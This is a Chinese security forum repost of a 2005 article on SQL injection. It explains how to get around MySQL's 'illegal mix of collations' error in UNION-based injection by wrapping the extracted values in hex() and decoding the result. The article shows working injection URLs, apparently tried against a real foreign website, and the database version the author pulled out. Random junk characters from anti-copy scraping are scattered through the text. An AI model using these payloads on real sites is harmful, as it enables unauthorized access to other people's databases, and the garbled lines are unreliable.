中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
. S# M: j0 C* W1 U2 u2 j8 n  k$ J文章性质:原创) G) I( `" [- z% B6 ?; S
发布日期:2005-10-18
  K5 [* l- D6 s' J测试个国外的站时:( u! y# f9 q2 i
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
, ]2 Y+ |$ A, C& m1 ?  L返回错误:
7 U" c( @# v, J6 eIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'+ U, r- q) S% ?
MySQL Error No. 126( Q& `5 u% D' x5 O
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
' D: ~; H1 F- ^, g1 r+ P& M解决办法:转为其他编码如hex。3 c  v: e6 [7 L+ H& l
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
( H3 n+ q; o5 u7 _成功得到hex(version())的值为:
7 Y: R# j4 u' _342E312E332D626574612 U# R- X) x' A6 L: z  o
回Mysql查询下得到:$ F7 e4 u+ t8 ]# I+ o
mysql> select 0x342E312E332D62657461;' f  `1 X( s" v/ O% d/ B9 g
+------------------------+( P9 S# S' e. P
| 0x342E312E332D62657461 |
7 R& V4 Z: K0 A/ }+------------------------+: l* g1 }! x+ [: I' H
| 4.1.3-beta |* d- _: A8 f: z. ?; o; h
+------------------------+
6 l, x" g+ `* G: d1 row in set (0.00 sec)9 a& p' T  f; `1 _
' M) [; ~; }. Q" x





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2